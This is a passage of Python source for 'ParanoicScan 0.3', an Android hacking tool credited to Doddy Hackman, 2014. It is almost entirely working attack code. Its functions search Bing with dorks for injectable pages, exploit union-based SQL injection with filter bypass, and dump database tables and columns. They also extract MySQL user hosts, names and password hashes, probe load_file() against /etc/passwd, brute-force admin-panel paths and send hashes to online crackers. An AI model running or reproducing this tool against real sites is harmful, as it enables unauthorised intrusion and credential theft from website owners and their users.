    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,0x4B3042524131,"+col2+",0x4B3042524131)))",web)
    code1 = toma(web1+pass1+"from"+pass1+table+pass2)
    respuesta = respuesta + "[+] Searching values ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
     numbers = re.findall("K0BRA(.*?)K0BRA",code1)
     numbers = numbers[0]
     respuesta = respuesta + "[+] Values Found : "+numbers+"\n"
     for counter in range(0,int(numbers)):
      code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
      if (re.findall("K0BRA(.*?)K0BRA",code2)):
       c1 = re.findall("K0BRA(.*?)K0BRA",code2)
       c1 = c1[0]
       c2 = re.findall("K0BRA1(.*?)K0BRA1",code2)
       c2 = c2[0]
       respuesta = respuesta + "\n["+col1+"] : "+c1+"\n"
       respuesta = respuesta + "["+col2+"] : "+c2+"\n"
    else:
     respuesta = respuesta + "[-] Not Found\n"
    respuesta = respuesta + "\n[+] Finished"
    return respuesta

    def mysqluser(web):
    pass1,pass2 = bypass("--")
    respuesta = ""
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
    respuesta = respuesta + "[+] Searching mysql.user ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
     numbers = re.findall("K0BRA(.*?)K0BRA",code1)
     numbers = numbers[0]
     respuesta = respuesta + "[+] Users Found : "+numbers+"\n"
     for counter in range(0,int(numbers)):
      code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
      if (re.findall("K0BRA(.*?)K0BRA",code2)):
       host = re.findall("K0BRA(.*?)K0BRA",code2)
       host = host[0]
       user = re.findall("K0BRA1(.*?)K0BRA1",code2)
       user = user[0]
       passw = re.findall("K0BRA2(.*?)K0BRA2",code2)
       passw = passw[0]
       respuesta = respuesta + "\n[Host] : "+host
       respuesta = respuesta + "\n[User] : "+user
       respuesta = respuesta + "\n[Pass] : "+passw+"\n"    
    else:
     respuesta = respuesta + "[-] Not Found\n"
    respuesta = respuesta + "\n[+] Finished"
    return respuesta

    def showcolumnsdb(web,db,table):
    respuesta = ""
    db2 = db
    table2 = table
    db = "0x"+str(binascii.hexlify(db))
    table = "0x"+str(binascii.hexlify(table))
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass2)
    respuesta = respuesta + "[+] Searching columns in DB ...\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
     numbers = re.findall("K0BRA(.*?)K0BRA",code1)
     numbers = numbers[0]
     respuesta = respuesta + "\n[+] Columns Found : "+str(numbers)+"\n"
     for counter in range(0,int(numbers)):
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
      if (re.findall("K0BRA(.*?)K0BRA",code2)):
       column = re.findall("K0BRA(.*?)K0BRA",code2)
       column = column[0]
       respuesta = respuesta + "\n[Column Found] : "+str(column)
    else:
     respuesta = respuesta + "\n[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def showtablesdb(web,db):
    respuesta = ""
    db2 = db
    db = "0x"+str(binascii.hexlify(db))
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass2)
    respuesta = respuesta + "[+] Searching tables in DB ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
     numbers = re.findall("K0BRA(.*?)K0BRA",code1)
     numbers = numbers[0]
     respuesta = respuesta + "[+] Tables Found : "+str(numbers)+"\n"
     for counter in range(0,int(numbers)):
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
      if (re.findall("K0BRA(.*?)K0BRA",code2)):
       table = re.findall("K0BRA(.*?)K0BRA",code2)
       table = table[0]
       respuesta = respuesta + "\n[Table Found] : "+table
    else:
     respuesta = respuesta + "[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def more(web):
    respuesta = ""
    pass1,pass2 = bypass("--")
    otraweb = web
    respuesta = respuesta + "[+] Searching DB Details ...\n"
    hextest = "0x2f6574632f706173737764"
    web1 = re.sub("hackman","unhex(hex(concat(0x334d50335a3452,0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241,0x334d50335a3452)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))",otraweb)
    code0 = toma(web1+pass2)
    if (re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)):
     datax = re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)
     datar = re.split("K0BRA",datax[0])
     respuesta = respuesta + "\n[+] Username : "+datar[1]
     respuesta = respuesta + "\n[+] Database : "+datar[2]
     respuesta = respuesta + "\n[+] Version : "+datar[3]+"\n"

    code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
    if (re.findall("K0BRA",code1)):
      respuesta = respuesta + "\n[+] mysql.user : on"
    code2 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
    if (re.findall("K0BRA",code2)):
      respuesta = respuesta + "\n[+] information_schema.tables : on"
    codetres = toma(web2)
    if (re.findall("ERTOR854",codetres)):
     respuesta = respuesta + "\n[+] load_file() : on"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def httpfinger(target):
    respuesta = ""
    try:
     respuesta = respuesta + str(getdata(target))
    except:
     respuesta = respuesta + "[-] Error"
    return respuesta

    def scanpanel(web):
    contador = 0
    panels=['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
    respuesta = ""
    respuesta = respuesta + "[+] Scanning ...\n"
    for path in panels:
     try:
      toma(web+"/"+path)
      respuesta = respuesta + "\n[+] Link : "+web+"/"+path
      contador = contador + 1
     except urllib2.URLError, e:
      pass

    if(contador==0) :
     respuesta = respuesta + "\n[+] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def crackmd5(md5) :
    respuesta = ""
    code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
    if (re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)):
     rex = re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)
     return "[+] Hash : "+rex[0][1]
    else:
     code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
     if (re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)):
      rex = re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)
      return "[+] Hash : "+rex[0]
     else:
      code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
      if (re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)):
       rex = re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)
       return "[+] Hash : "+rex[0]
      else:
       return "[+] Hash : Not Found"
    return respuesta

    def locateip(pagina):

    respuesta = ""

    ip = socket.gethostbyname(str(pagina))
    code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)

    respuesta = respuesta + "[++] IP Address Location\n"

    if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
     rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
     city = rex[0][1]
     respuesta = respuesta + "\n[++] City : "+city
    else:
     respuesta = respuesta + "\n[++] City : Not Found"

    if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
     rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
     country = rex[0][1]
     respuesta = respuesta + "\n[++] Country : "+country
    else:
     respuesta = respuesta + "\n[++] Country : Not Found"
     
    if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
     rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
     state = rex[0][1]
     respuesta = respuesta + "\n[++] State : "+state
    else:
     respuesta = respuesta + "\n[++] State : Not Found"


    code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

    if (re.findall("whois\/(.*?)\">Whois",code)):
     rex = re.findall("whois\/(.*?)\">Whois",code)
     respuesta = respuesta + "\n\n[++] DNS Founds\n"
     for dns in rex:
      respuesta = respuesta + "\n[+] "+dns

    return respuesta

    def sqltest(webs):
    respuesta = ""
    for web in webs :
     if re.findall("=",web):
      web = re.split("=",web)
      web = web[0]+"="

      try:
       code = toma(web+"-1+union+select+1--")
       if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
        respuesta = respuesta + "[SQLI] : "+web+"\n"
      except:
       pass
    return respuesta

    def limpiar(pag):

    limpia = []
    for p in pag:
     if p not in limpia:
      limpia.append(p)
    return limpia

    def bingscan(dork,count):

    respuesta = ""

    pag = []
    s = 10  

    while s <= int(count):
     try:
      code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
      d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
      s += 10
      for a in d:
       pag.append(a)
     except:
      pass

    pag = limpiar(pag)

    return pag


    ##
     
    aplicacion = android.Android()

    def menuencoder():

    aplicacion.dialogCreateAlert("Encoders")
    aplicacion.dialogSetItems(["MD5 Encoder","Base64 Encoder","Base64 Decoder","Hex Encoder","Hex Decoder","Exit"])
    aplicacion.dialogShow()
    reh = aplicacion.dialogGetResponse().result
    reb = reh["item"]

    if reb==0:

     aplicacion.dialogCreateAlert("MD5 Encoder")
     
     aplicacion.dialogGetInput("MD5 Encoder","Enter Text")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menuencoder()
     else:
      texto = ref['value']

      aplicacion.dialogCreateSpinnerProgress("MD5 Encoder","[+] Encoding ...")
      aplicacion.dialogShow()

      don = md5encoder(texto)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("MD5 Encoder",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menuencoder()


    if reb==1 :

     aplicacion.dialogCreateAlert("Base64 Encoder")
     
     aplicacion.dialogGetInput("Base64 Encoder","Enter Text")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menuencoder()
     else:
      texto = ref['value']

      aplicacion.dialogCreateSpinnerProgress("Base64 Encoder","[+] Encoding ...")
      aplicacion.dialogShow()

      don = base64encoder(texto)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("Base64 Encoder",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menuencoder()

    if reb==2 :

     aplicacion.dialogCreateAlert("Base64 Decoder")
     
     aplicacion.dialogGetInput("Base64 Decoder","Enter Text")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menuencoder()
     else:
      texto = ref['value']

      aplicacion.dialogCreateSpinnerProgress("Base64 Decoder","[+] Encoding ...")
      aplicacion.dialogShow()

      don = base64decoder(texto)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("Base64 Decoder",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menuencoder()
     
    if reb==3 :

     aplicacion.dialogCreateAlert("Hex Encoder")
     
     aplicacion.dialogGetInput("Hex Encoder","Enter Text")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menuencoder()
     else:
      texto = ref['value']

      aplicacion.dialogCreateSpinnerProgress("Hex Encoder","[+] Encoding ...")
      aplicacion.dialogShow()

      don = hexencoder(texto)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("Hex Encoder",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menuencoder()


    if reb==4 :

     aplicacion.dialogCreateAlert("Hex Decoder")
     
     aplicacion.dialogGetInput("Hex Decoder","Enter Text")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menuencoder()
     else:
      texto = ref['value']

      aplicacion.dialogCreateSpinnerProgress("Hex Decoder","[+] Encoding ...")
      aplicacion.dialogShow()

      don = hexdecoder(texto)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("Hex Decoder",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menuencoder()

    if reb==5:
     menu()

    def menusql():

    aplicacion.dialogCreateAlert("SQLI Scanner")
    aplicacion.dialogSetItems(["Get Tables","Get Columns","Get Databases","Get Tables of DB","Get Columns of DB","Get mysql.users","Get Details DB","Dump Values","Exit"])
    aplicacion.dialogShow()
    reez = aplicacion.dialogGetResponse().result
    opsql = reez["item"]

    if opsql==0:

     aplicacion.dialogCreateAlert("SQLI Scanner")
     aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables ...")
     aplicacion.dialogShow()

     don = showtables(webvul)

     aplicacion.dialogDismiss()

     aplicacion.dialogCreateAlert("SQLI Scanner",don)
     aplicacion.dialogSetPositiveButtonText("Done")
     aplicacion.dialogShow()
     
     op = aplicacion.dialogGetResponse().result

     if op["which"] == "positive" :
      menusql()
       
    if opsql==1 :

     aplicacion.dialogCreateAlert("SQLI Scanner")
     
     aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menusql()
     else:  
      tabla = ref['value']

      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns ...")
      aplicacion.dialogShow()

      don = showcolumns(webvul,tabla)
     
      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()
       
    if opsql==2 :

     aplicacion.dialogCreateAlert("SQLI Scanner")
     aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Databases ...")
     aplicacion.dialogShow()

     don = showdbs(webvul)

     aplicacion.dialogDismiss()

     aplicacion.dialogCreateAlert("SQLI Scanner",don)
     aplicacion.dialogSetPositiveButtonText("Done")
     aplicacion.dialogShow()
     
     op = aplicacion.dialogGetResponse().result

     if op["which"] == "positive" :
      menusql()
     
    if opsql==3 :

     aplicacion.dialogCreateAlert("SQLI Scanner")
     
     aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menusql()
     else:  
      db = ref['value']

      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables of DB ...")
      aplicacion.dialogShow()

      don = showtablesdb(webvul,db)
     
      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()

    if opsql==4 :

     aplicacion.dialogCreateAlert("SQLI Scanner")
     
     aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menusql()
     else:  
      db = ref['value']

      aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:
       tabla = ref['value']
       aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns of DB ...")
       aplicacion.dialogShow()

       don = showcolumnsdb(webvul,db,tabla)
     
       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("SQLI Scanner",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menusql()

    if opsql==5 :

     aplicacion.dialogCreateAlert("SQLI Scanner")
     aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching mysql.users ...")
     aplicacion.dialogShow()

     don = mysqluser(webvul)

     aplicacion.dialogDismiss()

     aplicacion.dialogCreateAlert("SQLI Scanner",don)
     aplicacion.dialogSetPositiveButtonText("Done")
     aplicacion.dialogShow()
     
     op = aplicacion.dialogGetResponse().result

     if op["which"] == "positive" :
      menusql()
     
    if opsql==6 :

     aplicacion.dialogCreateAlert("SQLI Scanner")
     aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Information ...")
     aplicacion.dialogShow()

     don = more(webvul)

     aplicacion.dialogDismiss()

     aplicacion.dialogCreateAlert("SQLI Scanner",don)
     aplicacion.dialogSetPositiveButtonText("Done")
     aplicacion.dialogShow()
     
     op = aplicacion.dialogGetResponse().result

     if op["which"] == "positive" :
      menusql()

    if opsql==7 :

     aplicacion.dialogCreateAlert("SQLI Scanner")
     
     aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menusql()
     else:  
      tabla = ref['value']

      aplicacion.dialogGetInput("SQLI Scanner","Enter Column1")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:
       columna1 = ref['value']
       aplicacion.dialogGetInput("SQLI Scanner","Enter Column2")
       ref = aplicacion.dialogGetResponse().result
       if not ref['which'] == 'positive' :
        menusql()
       else:  
        columna2 = ref['value']
        aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Values ...")
        aplicacion.dialogShow()

        don = dumper(webvul,tabla,columna1,columna2)
     
        aplicacion.dialogDismiss()
        aplicacion.dialogCreateAlert("SQLI Scanner",don)
        aplicacion.dialogSetPositiveButtonText("Done")
        aplicacion.dialogShow()  
        op = aplicacion.dialogGetResponse().result

        if op["which"] == "positive" :
         menusql()

    if opsql==8:
     menu()

    def menu():

    aplicacion.dialogCreateAlert("ParanoicScan 0.3 (C) Doddy Hackman 2014")
    aplicacion.dialogSetItems(["BingHackTool","SQLI Scanner","MD5 Cracker","Admin Finder","Locate IP","HTTP FingerPrinting","Encoders","About","Exit"])
    aplicacion.dialogShow()
    re = aplicacion.dialogGetResponse().result
    re2 = re["item"]

    if re2==0:

     aplicacion.dialogCreateAlert("BingHack Tool")
     
     aplicacion.dialogGetInput("BingHack Tool","Enter Dork")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menu()
     else:  
      dork = ref['value']

      aplicacion.dialogGetInput("BingHack Tool","Enter number of pages to search")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:
       paginas = ref['value']

       paginas = str(paginas)

       aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Searching ...")
       aplicacion.dialogShow()

       founds = ""
       rez = ""
       rtafinal = ""

       founds = bingscan(dork,paginas)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Scanning ...")
       aplicacion.dialogShow()

       rez = sqltest(founds)

       if len(rez) == 0 :
        rtafinal = "[-] Not Found"
       else :
        rtafinal = "[++] Pages Founds\n\n"
        rtafinal = rtafinal + rez
        rtafinal = rtafinal + "\n[++] Finished\n"

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("BingHack Tool",rtafinal)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result
       if op["which"] == "positive" :
        menu()

    if re2==1 :

     global webvul

     aplicacion.dialogCreateAlert("SQLI Scanner")
     
     aplicacion.dialogGetInput("SQLI Scanner","Enter Page")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menu()
     else:  
      web = ref['value']
      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Scanning ...")
      aplicacion.dialogShow()

      pass1,pass2 = bypass("--")
      code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass2)
      codedos = toma(web+"1"+pass1+"and"+pass1+"1=1"+pass2)

      if not code==codedos:
       aplicacion.dialogDismiss()
       aplicacion.dialogCreateAlert("SQLI Scanner","[+] SQLI Detected")
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
       op = aplicacion.dialogGetResponse().result
       if op["which"] == "positive" :

        pass1,pass2 = bypass("--")
        rtacondata = ""
        control_sql = 0

        aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Finding columns length")
        aplicacion.dialogShow()

        number = "unhex(hex(concat(0x4b30425241,1,0x4b30425241)))"
        for te in range(2,30):
         number = str(number)+","+"unhex(hex(concat(0x4b30425241,"+str(te)+",0x4b30425241)))"
         code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+number+pass2)
         if(regexver(code)):
          numbers = regexdar(code)

          control_sql = 1

          rtacondata = rtacondata + "[+] Column length : "+str(te)
          rtacondata = rtacondata + "\n[+] Numbers "+str(numbers)+" print data"

          sql = ""
          tex = te + 1
          for sqlix in range(2,tex):
           sql = str(sql)+","+str(sqlix)
           sqli  = str(1)+sql
          sqla = reem(sqli,numbers[0])
          aplicacion.dialogDismiss()
          aplicacion.dialogCreateAlert("SQLI Scanner",rtacondata)
          aplicacion.dialogSetPositiveButtonText("Done")
          aplicacion.dialogShow()
          op = aplicacion.dialogGetResponse().result
          if op["which"] == "positive" :
       webvul = web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla
       menusql()

        if control_sql==0:

         aplicacion.dialogDismiss()
         aplicacion.dialogCreateAlert("SQLI Scanner","[-] Length dont found")
         aplicacion.dialogSetPositiveButtonText("Done")
         aplicacion.dialogShow()
         op = aplicacion.dialogGetResponse().result
         if op["which"] == "positive" :
          aplicacion.exit()

      else:
       aplicacion.dialogDismiss()
       aplicacion.dialogCreateAlert("SQLI Scanner","[-] Not Vulnerable")
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
       op = aplicacion.dialogGetResponse().result
       if op["which"] == "positive" :
        aplicacion.exit()

    if re2==2 :

     aplicacion.dialogCreateAlert("MD5 Cracker")
     
     aplicacion.dialogGetInput("MD5 Cracker","Enter MD5")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menu()
     else:  
      target = ref['value']

      aplicacion.dialogCreateSpinnerProgress("MD5 Cracker","[+] Cracking ...")
      aplicacion.dialogShow()

      don = crackmd5(target)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("MD5 Cracker",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menu()
     
    if re2==3 :

     aplicacion.dialogCreateAlert("Admin Finder")
     
     aplicacion.dialogGetInput("Admin Finder","Enter Target")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menu()
     else:  
      target = ref['value']

      aplicacion.dialogCreateSpinnerProgress("Admin Finder","[+] Searching ...")
      aplicacion.dialogShow()

      don = scanpanel(target)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("Admin Finder",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menu()

    if re2==4 :

     aplicacion.dialogCreateAlert("LocateIP")
     
     aplicacion.dialogGetInput("LocateIP","Enter Target")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menu()
     else:
      target = ref['value']

      aplicacion.dialogCreateSpinnerProgress("LocateIP","[+] Searching ...")
      aplicacion.dialogShow()

      don = locateip(target)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("LocateIP",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menu()
     
    if re2==5 :

     aplicacion.dialogCreateAlert("HTTP FingerPrinting")
     
     aplicacion.dialogGetInput("HTTP FingerPrinting","Enter Target")
     ref = aplicacion.dialogGetResponse().result

     if not ref['which'] == 'positive' :
      menu()
     else:
      target = ref['value']

      aplicacion.dialogCreateSpinnerProgress("HTTP FingerPrinting","[+] Scanning ...")
      aplicacion.dialogShow()

      don = httpfinger(target)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("HTTP FingerPrinting",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menu()

    if re2==6 :
     menuencoder()

    if re2==7 :

      about = "This program was written by Doddy Hackman in the summer of 2014"
      aplicacion.dialogCreateAlert("About",about)
